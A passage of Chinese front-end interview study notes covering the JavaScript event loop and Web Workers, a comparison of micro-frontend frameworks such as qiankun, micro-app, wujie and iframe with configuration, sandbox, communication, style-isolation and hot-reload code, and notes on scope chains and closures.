主线程先执行同步代码,遇到异步任务(ajax、定时器、DOM 事件)就交给浏览器的其他线程处理,完成后推入任务队列。主线程空闲时再循环读取队列任务执行,非阻塞、高吞吐。这让单线程也能同时处理成千上万个并发请求,不会因为创建大量线程带来上下文切换、内存开销
第二层:单线程的局限与 Web Worker 的多线程
为什么单线程设计后来又有了多线程方案?瓶颈的转移:随着前端项目越来越复杂,大量大数据计算、长耗时逻辑会直接阻塞主线程,导致页面卡顿、交互无响应。
Web Worker 的多线程:它并不是让 JS 主线程变成多线程,而是开辟后台线程处理计算,不能操作 DOM、不影响主线程渲染。既利用了多核 CPU 提升计算能力,又避免了多线程操作 DOM 带来的渲染冲突、数据不一致问题,是非常精准的性能补充。
第三层:面试官想听的是 “如何全面评估前端并发与渲染性能”
当候选人回答完 EventLoop 和 Web Worker 后,面试官会考察你对前端瓶颈的全面理解。这时你要能说出:真正拖垮前端的不是并发请求多,而是主线程阻塞:比如大量同步计算、频繁重绘重排、长任务占用主线程,才会导致页面卡顿。
渲染层面:JS 单线程与 GUI 渲染线程互斥,才是前端卡顿的核心原因。而并发、异步请求再多,只要不阻塞主线程,页面依然流畅。还有宏任务微任务的执行顺序,会直接影响代码执行时机与渲染表现,这才是生产中最常见的性能问题。
灵魂总结:
单线程能高并发 核心是事件循环 + 任务队列的非阻塞执行模型,再用 Web Worker 实现计算型多线程但不操作 DOM,既保证渲染安全,又兼顾并发性能,7. 事件循环考察题
微前端
1. 微前端框架 qiankun、microApp、single-spa、wujie、iframe 等优缺点
1.1 single-spa
优点:
- 微前端框架的鼻祖,生态成熟
- 框架无关,支持 React、Vue、Angular 等
- 提供完整的生命周期管理
缺点:
- 入门门槛高,配置复杂
- 需要自行实现 JS 沙箱、CSS 隔离
- 无内置通信机制,需自行实现
- 构建工具需要额外配置
适用场景: 需要高度定制化的微前端架构
1.2 qiankun
优点:
- 基于 single-spa 封装,开箱即用
- 完善的 JS 沙箱(Proxy 沙箱)
- CSS 隔离方案(Shadow DOM / scoped CSS)
- 提供应用间通信机制(props、initGlobalState)
- 生态完善,文档齐全,社区活跃
缺点:
- 基于路由匹配,不够灵活
- 子应用需要改造(需要导出生命周期)
- 样式隔离在某些场景下有问题
- 对 Vite 支持不友好
适用场景: 大型企业级应用,需要完善的隔离和通信机制
1.3 micro-app
优点:
- 基于 Web Components,使用简单(类似 iframe 标签)
- 接入成本低,无需改造子应用
- 支持 Vite,对现代构建工具友好
- 提供 JS 沙箱和样式隔离
缺点:
- 生态相对较小
- Web Components 兼容性问题(旧浏览器)
- 某些场景下样式隔离不够完善
适用场景: 快速接入微前端,对构建工具有要求
1.4 wujie(无界)
优点:
- 基于 WebComponent + iframe,隔离性最强
- 完美支持 Vite
- 子应用无需改造,接入成本最低
- 提供 JS 沙箱、CSS 隔离、通信机制
缺点:
- 相对较新,生态不够成熟
- iframe 方案在某些场景有性能问题
- 调试相对复杂
适用场景: 需要最强隔离性,快速接入
1.5 iframe
优点:
- 天然的 JS、CSS 隔离
- 接入成本最低,无需改造
- 浏览器原生支持
缺点:
- 性能差,每个 iframe 独立进程
- URL 不同步,刷新丢失状态
- 弹窗、遮罩层受限
- 通信复杂(postMessage)
- SEO 不友好
适用场景: 简单集成第三方系统,对隔离性要求高
1.6 对比总结
| 框架 | 接入成本 | 隔离性 | Vite 支持 | 生态成熟度 | 推荐指数 |
|---|---|---|---|---|---|
| single-spa | 高 | 中(需自行实现) | 中 | 高 | ⭐⭐⭐ |
| qiankun | 中 | 高 | 低 | 高 | ⭐⭐⭐⭐⭐ |
| micro-app | 低 | 中 | 高 | 中 | ⭐⭐⭐⭐ |
| wujie | 低 | 最高 | 高 | 中 | ⭐⭐⭐⭐ |
| iframe | 最低 | 最高 | 高 | - | ⭐⭐ |
2. qiankun、micro-app、iframe对比
2.1 技术实现原理对比
qiankun 实现原理
核心原理:
- 基于 single-spa 封装
- 使用 Proxy 实现 JS 沙箱
- 通过 import-html-entry 加载子应用
- 路由匹配 + 生命周期管理
加载流程:
1. 主应用注册子应用(registerMicroApps)
2. 监听路由变化
3. 匹配到子应用路由 → 加载子应用 HTML
4. 解析 HTML → 提取 JS、CSS
5. 执行 JS(在沙箱环境中)
6. 调用子应用生命周期(mount)JS 沙箱实现:
javascript
class ProxySandbox {
constructor() {
const fakeWindow = Object.create(null)
this.proxy = new Proxy(fakeWindow, {
get(target, prop) {
return target[prop] || window[prop]
},
set(target, prop, value) {
target[prop] = value
return true
}
})
}
}micro-app 实现原理
核心原理:
- 基于 Web Components(Custom Elements)
- 使用
<micro-app>标签加载子应用 - 通过 fetch 加载子应用资源
- JS 沙箱 + scoped CSS
加载流程:
1. 定义 <micro-app> 自定义元素
2. 设置 src 属性 → 加载子应用 HTML
3. 解析 HTML → 提取 JS、CSS
4. 在沙箱中执行 JS
5. 样式添加 scope 属性实现隔离使用示例:
html
<micro-app name="app1" src="http://localhost:3001/"></micro-app>JS 沙箱实现:
javascript
class MicroAppSandbox {
constructor() {
this.bindFunction = new Function('return this')()
}
execScript(script) {
const fn = new Function('window', script)
fn.call(this.bindFunction, this.proxyWindow)
}
}iframe 实现原理
核心原理:
- 浏览器原生支持
- 每个 iframe 独立的浏览上下文
- 完全隔离的 JS、CSS 环境
特点:
- 天然隔离,无需额外实现
- 每个 iframe 独立进程
- 内存、性能开销大
通信方式:
javascript
// 主应用发送消息
iframe.contentWindow.postMessage({ type: 'data', data: {} }, '*')
// 子应用接收消息
window.addEventListener('message', event => {
if (event.data.type === 'data') {
console.log(event.data.data)
}
})2.2 功能特性对比表
| 特性 | qiankun | micro-app | iframe |
|---|---|---|---|
| 接入成本 | 中(需改造子应用) | 低(无需改造) | 最低 |
| JS 隔离 | Proxy 沙箱 | with + Proxy | 天然隔离 |
| CSS 隔离 | Shadow DOM / scoped | scoped CSS | 天然隔离 |
| 路由同步 | 支持 | 支持 | 不支持 |
| Vite 支持 | 差(需插件) | 好 | 好 |
| 通信方式 | props / initGlobalState | 自定义事件 | postMessage |
| 性能 | 中 | 中 | 差 |
| 调试体验 | 好 | 好 | 差 |
| SEO 友好 | 是 | 是 | 否 |
2.3 实际案例对比
qiankun 案例
主应用配置:
javascript
import { registerMicroApps, start } from 'qiankun'
registerMicroApps([
{
name: 'app1',
entry: '//localhost:3001',
container: '#container',
activeRule: '/app1',
props: {
token: 'xxx',
onLogin: () => {}
}
}
])
start()子应用改造:
javascript
export async function bootstrap() {
console.log('子应用初始化')
}
export async function mount(props) {
console.log('接收主应用传递的 props:', props)
render(props)
}
export async function unmount() {
console.log('子应用卸载')
}通信示例:
javascript
import { initGlobalState } from 'qiankun'
const { onGlobalStateChange, setGlobalState } = initGlobalState({
user: 'admin',
theme: 'dark'
})
onGlobalStateChange((state, prev) => {
console.log('状态变化:', state)
})
setGlobalState({ theme: 'light' })micro-app 案例
主应用使用:
html
<micro-app
name="app1"
src="http://localhost:3001/"
:data="data"
@created="onCreated"
@mounted="onMounted"
></micro-app>javascript
export default {
data() {
return {
data: { token: 'xxx' }
}
},
methods: {
onCreated() {
console.log('子应用创建')
},
onMounted() {
console.log('子应用挂载')
}
}
}子应用接收数据:
javascript
window.addEventListener('onMount', event => {
const data = event.detail.data
console.log('接收主应用数据:', data)
})
window.addEventListener('onDataChange', event => {
console.log('数据变化:', event.detail.data)
})子应用发送数据:
javascript
window.microApp.dispatch({ type: 'login', data: { user: 'admin' } })iframe 案例
主应用使用:
html
<iframe
id="app1"
src="http://localhost:3001/"
style="width: 100%; height: 100%;"
></iframe>主应用发送消息:
javascript
const iframe = document.getElementById('app1')
iframe.onload = () => {
iframe.contentWindow.postMessage(
{
type: 'init',
data: { token: 'xxx' }
},
'*'
)
}
window.addEventListener('message', event => {
if (event.data.type === 'response') {
console.log('子应用响应:', event.data.data)
}
})子应用接收消息:
javascript
window.addEventListener('message', event => {
if (event.data.type === 'init') {
console.log('接收主应用数据:', event.data.data)
// 响应主应用
window.parent.postMessage(
{
type: 'response',
data: { status: 'success' }
},
'*'
)
}
})2.4 选择建议
选择 qiankun:
- 大型企业级应用
- 需要完善的隔离和通信机制
- 子应用可以改造
- 团队对微前端有深入理解
选择 micro-app:
- 快速接入微前端
- 子应用无需改造
- 使用 Vite 等现代构建工具
- 团队希望简单易用
选择 iframe:
- 集成第三方系统(无法改造)
- 需要最强隔离性
- 对性能要求不高
- 简单集成场景
3. qiankun
3.1 简述qiankun使用
安装:
bash
npm install qiankun主应用配置:
javascript
import { registerMicroApps, start } from 'qiankun'
registerMicroApps([
{
name: 'vue-app',
entry: '//localhost:8081',
container: '#subapp-container',
activeRule: '/vue',
props: {
token: 'xxx',
onGlobalStateChange: () => {}
}
},
{
name: 'react-app',
entry: '//localhost:8082',
container: '#subapp-container',
activeRule: '/react'
}
])
start({
prefetch: 'all',
sandbox: {
strictStyleIsolation: true,
experimentalStyleIsolation: true
}
})子应用改造(Vue):
javascript
let instance = null
function render(props = {}) {
const { container } = props
instance = new Vue({
router,
store,
render: h => h(App)
}).$mount(container ? container.querySelector('#app') : '#app')
}
if (!window.__POWERED_BY_QIANKUN__) {
render()
}
export async function bootstrap() {
console.log('vue app bootstraped')
}
export async function mount(props) {
console.log('props from main framework', props)
render(props)
}
export async function unmount() {
instance.$destroy()
instance.$el.innerHTML = ''
instance = null
}子应用改造(React):
javascript
export async function bootstrap() {
console.log('react app bootstraped')
}
export async function mount(props) {
console.log('props from main framework', props)
render(props)
}
export async function unmount(props) {
const { container } = props
ReactDOM.unmountComponentAtNode(
container
? container.querySelector('#root')
: document.querySelector('#root')
)
}子应用 webpack 配置:
javascript
module.exports = {
output: {
library: `${name}-[name]`,
libraryTarget: 'umd',
jsonpFunction: `webpackJsonp_${name}`
},
devServer: {
port: 8081,
headers: {
'Access-Control-Allow-Origin': '*'
}
}
}3.2 实现原理以及如何加载微应用
核心原理:
- 路由监听: 监听 URL 变化,匹配 activeRule
- 资源加载: 使用 import-html-entry 加载子应用 HTML
- JS 沙箱: 使用 Proxy 隔离全局变量
- CSS 隔离: Shadow DOM 或 scoped CSS
- 生命周期管理: 调用子应用的 bootstrap、mount、unmount
加载流程详解:
┌─────────────────────────────────────────────────────────┐
│ 1. registerMicroApps 注册子应用 │
│ - 保存子应用配置(name、entry、container、activeRule)│
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 2. start() 启动 qiankun │
│ - 监听路由变化(hashchange / popstate) │
│ - 预加载子应用资源(prefetch) │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 3. 路由匹配 │
│ - URL 匹配 activeRule │
│ - 找到对应的子应用 │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 4. 加载子应用(import-html-entry) │
│ - fetch HTML │
│ - 解析 HTML → 提取 script、link、style │
│ - 执行 JS(在沙箱环境中) │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 5. 生命周期调用 │
│ - bootstrap(首次加载) │
│ - mount(挂载应用) │
│ - unmount(卸载应用) │
└─────────────────────────────────────────────────────────┘import-html-entry 核心代码:
javascript
import importHTML from 'import-html-entry'
const { template, execScripts, assetPublicPath } = await importHTML(entry)
const appContent = template
const scriptExports = await execScripts(sandbox.proxy)
const { bootstrap, mount, unmount } = scriptExports关键实现:
javascript
class MicroAppLoader {
async loadApp(app) {
const { entry, container } = app
const html = await fetch(entry).then(res => res.text())
const { scripts, styles } = this.parseHTML(html)
const sandbox = new ProxySandbox()
await this.execScripts(scripts, sandbox.proxy)
const appInstance = sandbox.proxy.__MICRO_APP__
await appInstance.mount({ container })
return appInstance
}
}3.3 应用之间通信(区别主应用和子应用、子应用之间)
通信方式对比:
| 通信方式 | 主应用→子应用 | 子应用→主应用 | 子应用→子应用 | 特点 |
|---|---|---|---|---|
| props | ✅ | ❌ | ❌ | 单向数据流,简单直接 |
| initGlobalState | ✅ | ✅ | ✅ | 全局状态管理,双向通信 |
| CustomEvent | ✅ | ✅ | ✅ | 事件驱动,解耦 |
| localStorage | ✅ | ✅ | ✅ | 持久化,跨应用 |
| postMessage | ✅ | ✅ | ✅ | 跨域通信 |
方式一:props 传递(主应用→子应用)
javascript
registerMicroApps([
{
name: 'app1',
entry: '//localhost:8081',
container: '#container',
activeRule: '/app1',
props: {
token: 'xxx',
user: { name: 'admin' },
onLogin: user => {
console.log('子应用登录:', user)
}
}
}
])子应用接收:
javascript
export async function mount(props) {
console.log('token:', props.token)
console.log('user:', props.user)
props.onLogin({ name: 'test' })
}方式二:initGlobalState(推荐)
javascript
import { initGlobalState } from 'qiankun'
const initialState = {
user: 'admin',
token: 'xxx',
theme: 'dark'
}
const actions = initGlobalState(initialState)
actions.onGlobalStateChange((state, prev) => {
console.log('主应用监听到状态变化:', state, prev)
})
actions.setGlobalState({
user: 'guest'
})
export default actions子应用使用:
javascript
export async function mount(props) {
props.onGlobalStateChange((state, prev) => {
console.log('子应用监听到状态变化:', state)
this.user = state.user
})
props.setGlobalState({
theme: 'light'
})
}方式三:CustomEvent(子应用之间)
主应用:
javascript
window.addEventListener('app1-event', e => {
console.log('收到 app1 事件:', e.detail)
const event = new CustomEvent('app2-event', {
detail: { message: '来自 app1 的消息' }
})
window.dispatchEvent(event)
})子应用1:
javascript
const event = new CustomEvent('app1-event', {
detail: { message: 'hello from app1' }
})
window.dispatchEvent(event)子应用2:
javascript
window.addEventListener('app2-event', e => {
console.log('收到消息:', e.detail)
})方式四:localStorage(跨应用持久化)
javascript
localStorage.setItem(
'shared-data',
JSON.stringify({
theme: 'dark',
user: 'admin'
})
)
const data = JSON.parse(localStorage.getItem('shared-data'))
window.addEventListener('storage', e => {
if (e.key === 'shared-data') {
console.log('数据变化:', JSON.parse(e.newValue))
}
})最佳实践:
- 主应用→子应用:优先使用 props
- 双向通信:使用 initGlobalState
- 子应用之间:使用 CustomEvent 或 initGlobalState
- 持久化数据:使用 localStorage
3.4 应用数据共享(如共享主题色、js方法等)
共享方式:
- props 传递(简单数据)
- initGlobalState(全局状态)
- 共享 JS 方法
- 共享样式/主题
共享主题色:
主应用:
javascript
const theme = {
primary: '#1890ff',
success: '#52c41a',
warning: '#faad14',
error: '#f5222d'
}
registerMicroApps([
{
name: 'app1',
entry: '//localhost:8081',
container: '#container',
activeRule: '/app1',
props: {
theme
}
}
])子应用:
javascript
export async function mount(props) {
const { theme } = props
document.documentElement.style.setProperty('--primary-color', theme.primary)
document.documentElement.style.setProperty('--success-color', theme.success)
}CSS:
css
.button {
background-color: var(--primary-color);
}共享 JS 方法:
主应用:
javascript
const utils = {
formatDate: date => {
return new Date(date).toLocaleDateString()
},
request: (url, options) => {
return fetch(url, {
...options,
headers: {
Authorization: `Bearer ${localStorage.getItem('token')}`,
...options.headers
}
})
}
}
registerMicroApps([
{
name: 'app1',
props: {
utils
}
}
])子应用:
javascript
export async function mount(props) {
const { utils } = props
const date = utils.formatDate(new Date())
const data = await utils.request('/api/data')
}共享组件库:
主应用:
javascript
import { Button, Input } from 'element-ui'
registerMicroApps([
{
name: 'app1',
props: {
components: {
Button,
Input
}
}
}
])子应用:
javascript
export async function mount(props) {
const { components } = props
Vue.component('SharedButton', components.Button)
Vue.component('SharedInput', components.Input)
}共享 Vuex Store:
主应用:
javascript
import store from './store'
registerMicroApps([
{
name: 'app1',
props: {
mainStore: store
}
}
])子应用:
javascript
export async function mount(props) {
const { mainStore } = props
const user = mainStore.state.user
mainStore.commit('SET_USER', { name: 'test' })
}最佳实践:
- 共享基础配置:props 传递
- 共享工具方法:props 传递或挂载到 window
- 共享组件:通过 props 传递或 npm 包
- 共享状态:initGlobalState 或共享 Vuex
3.5 应用之间CSS隔离(区别主应用和子应用、子应用之间)
CSS 隔离方案:
| 方案 | 主应用→子应用 | 子应用→主应用 | 子应用之间 | 兼容性 | 性能 |
|---|---|---|---|---|---|
| Shadow DOM | ✅ | ✅ | ✅ | 差 | 好 |
| scoped CSS | ✅ | ❌ | ❌ | 好 | 好 |
| CSS Modules | ✅ | ❌ | ✅ | 好 | 好 |
| BEM 命名 | ✅ | ✅ | ✅ | 好 | 好 |
| CSS 前缀 | ✅ | ✅ | ✅ | 好 | 好 |
方案一:Shadow DOM(推荐)
javascript
start({
sandbox: {
strictStyleIsolation: true
}
})原理:
javascript
const container = document.querySelector('#subapp-container')
const shadow = container.attachShadow({ mode: 'open' })
shadow.innerHTML = `
<style>
.button { color: red; }
</style>
<button class="button">按钮</button>
`优点:
- 完全隔离,样式不泄漏
- 浏览器原生支持
缺点:
- 兼容性问题(IE 不支持)
- 某些 UI 库不兼容(如 Element UI 的弹窗)
方案二:scoped CSS(推荐)
javascript
start({
sandbox: {
experimentalStyleIsolation: true
}
})原理:
javascript
const container = document.querySelector('#subapp-container')
container.setAttribute('data-qiankun', 'app1')
const style = document.createElement('style')
style.textContent = `
[data-qiankun="app1"] .button {
color: red;
}
`
document.head.appendChild(style)优点:
- 兼容性好
- 性能好
缺点:
- 子应用样式可能影响主应用
- 需要配合 BEM 命名
方案三:CSS Modules
子应用配置:
javascript
module.exports = {
css: {
modules: true
}
}使用:
vue
<template>
<button :class="$style.button">按钮</button>
</template>
<style module>
.button {
color: red;
}
</style>编译后:
html
<button class="button_x7d3f">按钮</button>方案四:BEM 命名规范
css
.app1__button--primary {
color: blue;
}
.app2__button--primary {
color: red;
}方案五:CSS 前缀
子应用配置:
javascript
module.exports = {
css: {
loaderOptions: {
postcss: {
plugins: [
require('postcss-prefix-selector')({
prefix: '[data-app="app1"]',
transform(prefix, selector) {
return `${prefix} ${selector}`
}
})
]
}
}
}
}主应用和子应用样式隔离:
主应用:
css
.main-app .button {
color: blue;
}子应用:
css
.sub-app .button {
color: red;
}子应用之间样式隔离:
javascript
registerMicroApps([
{
name: 'app1',
container: '#app1-container',
activeRule: '/app1'
},
{
name: 'app2',
container: '#app2-container',
activeRule: '/app2'
}
])CSS:
css
#app1-container .button {
color: blue;
}
#app2-container .button {
color: red;
}最佳实践:
- 优先使用 Shadow DOM(兼容性允许)
- 配合 BEM 命名规范
- 使用 CSS Modules 或 scoped CSS
- 避免使用全局样式
3.6 应用之间JS隔离以及区别(区别主应用和子应用、子应用之间)
JS 隔离方案:
| 方案 | 主应用→子应用 | 子应用→主应用 | 子应用之间 | 兼容性 | 隔离性 |
|---|---|---|---|---|---|
| 快照沙箱 | ✅ | ❌ | ❌ | 好 | 低 |
| Proxy 沙箱 | ✅ | ✅ | ✅ | 中 | 高 |
| iframe | ✅ | ✅ | ✅ | 好 | 最高 |
方案一:快照沙箱(SnapshotSandbox)
原理:
javascript
class SnapshotSandbox {
constructor() {
this.windowSnapshot = {}
this.modifyPropsMap = {}
}
active() {
this.windowSnapshot = {}
for (const prop in window) {
this.windowSnapshot[prop] = window[prop]
}
Object.keys(this.modifyPropsMap).forEach(prop => {
window[prop] = this.modifyPropsMap[prop]
})
}
inactive() {
for (const prop in window) {
if (window[prop] !== this.windowSnapshot[prop]) {
this.modifyPropsMap[prop] = window[prop]
window[prop] = this.windowSnapshot[prop]
}
}
}
}特点:
- 记录 window 快照
- 激活时恢复修改
- 卸载时恢复快照
缺点:
- 无法隔离主应用和子应用
- 多个子应用同时存在会冲突
- 性能较差
方案二:Proxy 沙箱(ProxySandbox)
原理:
javascript
class ProxySandbox {
constructor() {
const fakeWindow = Object.create(null)
this.proxy = new Proxy(fakeWindow, {
get(target, prop) {
if (prop in target) {
return target[prop]
}
const value = window[prop]
if (typeof value === 'function') {
return value.bind(window)
}
return value
},
set(target, prop, value) {
target[prop] = value
return true
},
has(target, prop) {
return prop in target || prop in window
}
})
}
active() {
this.sandboxRunning = true
}
inactive() {
this.sandboxRunning = false
}
}特点:
- 每个子应用独立沙箱
- 完全隔离全局变量
- 性能好
主应用和子应用 JS 隔离:
主应用:
javascript
window.globalVar = 'main-app'子应用:
javascript
window.globalVar = 'sub-app'
console.log(window.globalVar)主应用不受影响:
javascript
console.log(window.globalVar)子应用之间 JS 隔离:
javascript
const sandbox1 = new ProxySandbox()
const sandbox2 = new ProxySandbox()
sandbox1.proxy.globalVar = 'app1'
sandbox2.proxy.globalVar = 'app2'
console.log(sandbox1.proxy.globalVar)
console.log(sandbox2.proxy.globalVar)生命周期钩子:
javascript
export async function mount(props) {
sandbox.active()
}
export async function unmount() {
sandbox.inactive()
}需要注意的点:
- 全局变量污染:
javascript
window.xxx = 'xxx'
this.xxx = 'xxx'
var xxx = 'xxx'- 事件监听:
javascript
window.addEventListener('resize', handler)
export async function unmount() {
window.removeEventListener('resize', handler)
}- 定时器:
javascript
const timer = setInterval(() => {}, 1000)
export async function unmount() {
clearInterval(timer)
}最佳实践:
- 使用 Proxy 沙箱(默认开启)
- 避免直接操作 window
- 卸载时清理事件监听和定时器
- 使用全局状态管理替代全局变量
3.7 主应用是怎么实现子应用变化之后做热更新的?
热更新原理:
qiankun 本身不提供热更新功能,需要配合构建工具(webpack、vite)实现。
Webpack 热更新:
子应用配置:
javascript
module.exports = {
devServer: {
port: 8081,
hot: true,
headers: {
'Access-Control-Allow-Origin': '*'
}
}
}主应用监听:
javascript
if (process.env.NODE_ENV === 'development') {
const script = document.createElement('script')
script.src = '//localhost:8081/webpack-dev-server.js'
document.body.appendChild(script)
}Vite 热更新:
子应用配置:
javascript
import { defineConfig } from 'vite'
export default defineConfig({
server: {
port: 8081,
cors: true,
origin: 'http://localhost:8081'
}
})主应用配置:
javascript
import { loadMicroApp } from 'qiankun'
let app = null
async function loadApp() {
if (app) {
await app.unmount()
}
app = loadMicroApp({
name: 'app1',
entry: '//localhost:8081',
container: '#container'
})
}
loadApp()
if (process.env.NODE_ENV === 'development') {
const eventSource = new EventSource('//localhost:8081/__vite_hmr')
eventSource.addEventListener('message', event => {
const data = JSON.parse(event.data)
if (data.type === 'update') {
loadApp()
}
})
}手动刷新方案:
javascript
let lastModified = null
setInterval(async () => {
const response = await fetch('//localhost:8081', { method: 'HEAD' })
const modified = response.headers.get('last-modified')
if (lastModified && lastModified !== modified) {
location.reload()
}
lastModified = modified
}, 1000)最佳实践:
- 开发环境使用 webpack-dev-server 或 vite 的 HMR
- 生产环境不需要热更新
- 配合 import-html-entry 的缓存策略
3.8 qiankun热更新原理
热更新流程:
┌─────────────────────────────────────────────────────────┐
│ 1. 文件变化 │
│ - webpack/vite 监听文件变化 │
│ - 重新编译 │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 2. 通知客户端 │
│ - WebSocket 推送更新消息 │
│ - 包含更新的模块信息 │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 3. 客户端接收 │
│ - webpack-dev-server 客户端接收消息 │
│ - 触发 HMR │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 4. 模块更新 │
│ - webpack.runtime 请求更新的模块 │
│ - 执行模块替换 │
└─────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────┐
│ 5. 热更新回调 │
│ - 触发 module.hot.accept 回调 │
│ - 重新渲染组件 │
└─────────────────────────────────────────────────────────┘Webpack HMR 原理:
javascript
if (module.hot) {
module.hot.accept('./App.vue', () => {
const newApp = require('./App.vue').default
app.$options.render = newApp.render
app.$forceUpdate()
})
}qiankun 中的热更新:
子应用:
javascript
if (module.hot) {
module.hot.accept()
}
export async function mount(props) {
render(props)
}
export async function unmount() {
instance.$destroy()
}主应用:
javascript
import { registerMicroApps, start } from 'qiankun'
registerMicroApps([
{
name: 'app1',
entry: '//localhost:8081',
container: '#container',
activeRule: '/app1'
}
])
start({
prefetch: false
})关键点:
- entry 必须是开发服务器地址
javascript
entry: '//localhost:8081'- 子应用必须配置 CORS
javascript
devServer: {
headers: {
'Access-Control-Allow-Origin': '*'
}
}- 子应用必须导出生命周期
javascript
export async function bootstrap() {}
export async function mount() {}
export async function unmount() {}热更新失效原因:
- entry 配置错误
- CORS 配置缺失
- 生命周期未导出
- 缓存问题
3.9 常用热更新失效问题和原因以及解决方案
问题一:子应用更新后主应用不刷新
原因:
- import-html-entry 缓存了子应用 HTML
- 浏览器缓存了 JS 文件
解决方案:
javascript
start({
fetch: (url, ...args) => {
if (url.includes('//localhost')) {
return window.fetch(url + '?t=' + Date.now(), ...args)
}
return window.fetch(url, ...args)
}
})问题二:样式不更新
原因:
- CSS 文件被缓存
- Shadow DOM 未重新渲染
解决方案:
javascript
export async function mount(props) {
render(props)
const link = document.querySelector('link[href*="app.css"]')
if (link) {
link.href = link.href + '?t=' + Date.now()
}
}问题三:Vite 子应用热更新失效
原因:
- qiankun 使用 import-html-entry 加载子应用
- Vite 的 HMR 机制与 qiankun 不兼容
解决方案:
方案一:使用 vite-plugin-qiankun
javascript
import qiankun from 'vite-plugin-qiankun'
export default defineConfig({
plugins: [
qiankun('app1', {
useDevMode: true
})
]
})方案二:手动刷新
javascript
if (process.env.NODE_ENV === 'development') {
const eventSource = new EventSource('//localhost:8081/__vite_hmr')
eventSource.addEventListener('message', event => {
const data = JSON.parse(event.data)
if (data.type === 'update') {
location.reload()
}
})
}问题四:WebSocket 连接失败
原因:
- 跨域问题
- WebSocket 配置错误
解决方案:
javascript
devServer: {
port: 8081,
headers: {
'Access-Control-Allow-Origin': '*'
},
client: {
webSocketURL: 'ws://localhost:8081/ws'
}
}问题五:热更新导致状态丢失
原因:
- 组件重新挂载
- Vuex 状态未持久化
解决方案:
javascript
const store = new Vuex.Store({
state: {
user: JSON.parse(localStorage.getItem('user'))
},
mutations: {
SET_USER(state, user) {
state.user = user
localStorage.setItem('user', JSON.stringify(user))
}
}
})问题六:多个子应用同时更新冲突
原因:
- 多个子应用同时触发 HMR
- 主应用处理不过来
解决方案:
javascript
let updateQueue = []
let isUpdating = false
function handleUpdate(appName) {
updateQueue.push(appName)
if (!isUpdating) {
processQueue()
}
}
async function processQueue() {
isUpdating = true
while (updateQueue.length > 0) {
const appName = updateQueue.shift()
await reloadApp(appName)
}
isUpdating = false
}问题七:开发环境正常,生产环境失效
原因:
- 生产环境没有 HMR
- entry 配置错误
解决方案:
javascript
const isDev = process.env.NODE_ENV === 'development'
registerMicroApps([
{
name: 'app1',
entry: isDev ? '//localhost:8081' : '/app1/',
container: '#container',
activeRule: '/app1'
}
])最佳实践总结:
- 开发环境配置:
javascript
devServer: {
port: 8081,
hot: true,
headers: {
'Access-Control-Allow-Origin': '*'
}
}- 禁用缓存:
javascript
start({
fetch: (url, ...args) => {
return window.fetch(url + '?t=' + Date.now(), ...args)
}
})- 生命周期清理:
javascript
export async function unmount() {
instance.$destroy()
instance = null
const styles = document.querySelectorAll('style[data-qiankun]')
styles.forEach(style => style.remove())
}- 状态持久化:
javascript
localStorage.setItem('state', JSON.stringify(state))js/dom事件
1. 事件冒泡
2. 事件捕获
3. 事件委托
原型/原型链
作用域/作用域链
1. 什么是作用域和作用域链?
1.1 作用域(Scope)
定义:变量 / 函数可被访问的范围
作用:隔离变量,避免全局污染,不同作用域里可以用同名变量互不干扰。1.2 作用域链(Scope Chain)
定义:当在当前作用域找不到变量时,会一层一层往上找,直到全局作用域。
这条查找路径,就是作用域链。2. 什么地方会形成作用域?
JS 里只有 3 种作用域(注意对象{}不形成作用域),以及对应的形成位置:2.1 全局作用域
最外层,不在任何函数 / 块里
全局变量哪里都能访问2.2函数作用域
每个函数内部会形成独立作用域
函数内声明的变量外部访问不到2.3块级作用域(ES6)
{} 包裹的区域:if、for、while、{} 直接写
用 let/const 声明才受块级作用域限制
var 不受块级作用域限制
一句话记:
函数形成作用域,{} 配合 let/const 形成块级作用域,最外层是全局作用域。3. 作用域链的作用?
javascript
核心就 2 个:
变量查找
当前作用域没有 → 去父级找 → 再去爷爷级 → 直到全局。
找到就用,找不到报 ReferenceError。
保证变量访问规则有序、可预测
控制变量的可见范围,避免混乱,同时实现闭包的基础。
极简记忆:
作用域:变量可访问的范围,用来隔离变量。
作用域链:查找变量时,从内到外的层级查找路径。
形成位置:全局、函数内部、{} 块内(let/const)。
作用:查找变量、控制访问权限、实现闭包。闭包(本质、场景、优缺点)
1. 闭包的定义和本质是什么?
1.1 闭包的定义:
当一个函数被定义在另一个函数内部,且这个函数被外部引用(比如返回给外部、赋值给全局变量、作为回调函数传递)时,就会形成闭包。
1.2 本质是(垃圾回收机制的特殊处理+作用域链的保留):
正常外部函数执行完,作用域会被销毁;但如果内部函数被外部引用,这个作用域不会被GC回收(因为内部函数作用域中依然引用着外部函数的变量对象),会一直保留在内存中
2. 闭包的优缺点?
1. ✅ 优点(3 个核心)
数据私有化:实现私有变量 / 方法,避免全局污染。
状态持久化:跨调用保留状态,用于缓存、防抖节流、柯里化。
模块化基础:早期 JS 实现模块隔离、封装的重要手段。2. ❌ 缺点(3 个核心)
内存泄漏风险:引用链不释放会导致变量无法被 GC 回收。
性能开销增加:延长变量生命周期,占用额外内存。
调试与维护困难:嵌套闭包的作用域链复杂,变量追踪难度大。3. 闭包的使用场景?
数据私有化、(防抖 / 节流 / 计数器 / 缓存)等状态保存、模块化封装、
循环变量捕获、柯里化 / 偏函数
具体代码实现:----》4. 闭包导致内存泄漏的场景 + 解决方案?
闭包内存泄漏核心原因
闭包持久引用外部作用域变量,阻止垃圾回收,导致变量、定时器、DOM 常驻内存。
通用解决方案
| 方法 | 说明 |
|---|---|
| 手动置空 | 不用的全局变量、闭包、实例、函数赋值 null |
| 清除定时器 / 事件 | clearTimeout、removeEventListener |
| 提供销毁方法 | 主动释放内部变量 |
| 限制缓存 | 缓存清空、设置容量上限 |
场景 1:私有变量 / 数据封装
场景描述
通过闭包创建私有变量,外部无法直接访问修改,只能通过暴露的方法操作,实现数据安全与封装。
代码示例
js
function createPerson() {
let name = '张三'
